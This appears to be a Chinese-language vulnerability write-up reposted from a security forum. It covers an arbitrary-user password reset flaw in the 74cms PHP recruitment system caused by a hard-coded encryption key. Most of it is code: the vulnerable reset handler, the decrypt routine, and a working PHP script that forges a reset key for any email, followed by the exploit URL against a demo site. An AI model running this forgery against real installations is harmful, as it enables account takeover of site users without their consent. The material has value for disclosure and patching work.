74cms任意用户密码修改

from [[90sec]][10310]

这个任意用户密码修改比较垃圾,随便讲一下

public function user_setpass(){
    if(IS_POST){
        $retrievePassword = session('retrievePassword');
        if($retrievePassword['token'] != I('post.token','','trim')) $this->error('非法参数!');
        $user['password']=I('post.password','','trim,badword');
        !$user['password'] && $this->error('请输入新密码!');
        if($user['password'] != I('post.password1','','trim,badword')) $this->error('两次输入密码不相同,请重新输入!');
        $passport = $this->_user_server();
        if(false === $uid = $passport->edit($retrievePassword['uid'],$user)) $this->error($passport->get_error());
        $tpl = 'user_setpass_sucess';
        session('retrievePassword',null);
    }else{
        parse_str(decrypt(I('get.key','','trim')),$data);
        !fieldRegex($data['e'],'email') && $this->error('找回密码失败,邮箱格式错误!','user_getpass');
        $end_time=$data['t']+24*3600;
        if($end_time<time()) $this->error('找回密码失败,链接过期!','user_getpass');
        $key_str=substr(md5($data['e'].$data['t']),8,16);
        if($key_str!=$data['k']) $this->error('找回密码失败,key错误!','user_getpass');
        if(!$uid = M('Members')->where(array('email'=>$data['e']))->getfield('uid')) $this->error('找回密码失败,帐号不存在!','user_getpass');
        $token=substr(md5(mt_rand(100000, 999999)), 8,16);
        session('retrievePassword',array('uid'=>$uid,'token'=>$token));
        $this->assign('token',$token);
    }
    $this->_config_seo(array('title'=>'找回密码 - '.C('qscms_site_name')));
    $this->display($tpl);
}

这里解密是用的decrypt函数,进去看一下:

function decrypt($txt, $key = '_qscms') {
    $txt = passport_key(base64_decode($txt), $key);
    $tmp = '';
    for ($i = 0; $i < strlen($txt); $i++) {
        $tmp .= $txt[$i] ^ $txt[++$i];
    }
    return $tmp;
}
function passport_key($txt, $encrypt_key) {
    $encrypt_key = md5($encrypt_key);
    $ctr = 0;
    $tmp = '';
    for($i = 0; $i < strlen($txt); $i++) {
        $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
        $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
    }
    return $tmp;
}

默认密钥位_qscms,而且写死了,调用时没有传入。
所以,这里存在任意用户密码修改漏洞。
编写如下生成代码:

<?php
function encrypt($txt, $key = '_qscms') {
    srand((double)microtime() * 1000000);
    $encrypt_key = md5(rand(0, 32000));
    $ctr = 0;
    $tmp = '';
    for($i = 0; $i < strlen($txt); $i++) {
        $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
        $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
    }
    return base64_encode(passport_key($tmp, $key));
}
function passport_key($txt, $encrypt_key) {
    $encrypt_key = md5($encrypt_key);
    $ctr = 0;
    $tmp = '';
    for($i = 0; $i < strlen($txt); $i++) {
        $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
        $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
    }
    return $tmp;
}
 
$email='example@xxx.com';
echo urlencode(encrypt(http_build_query(['e'=>$email, 'k'=>substr(md5($email.'9487070991'),8,16),'t'=>'9487070991'])));

获取key并替换到url中,可见这里直接可以修改用户example@xxx.com的密码了:

http://demo1.7yun.com//index.php?m=&c=members&a=user_setpass&key=$key


修改密码成功:

发表评论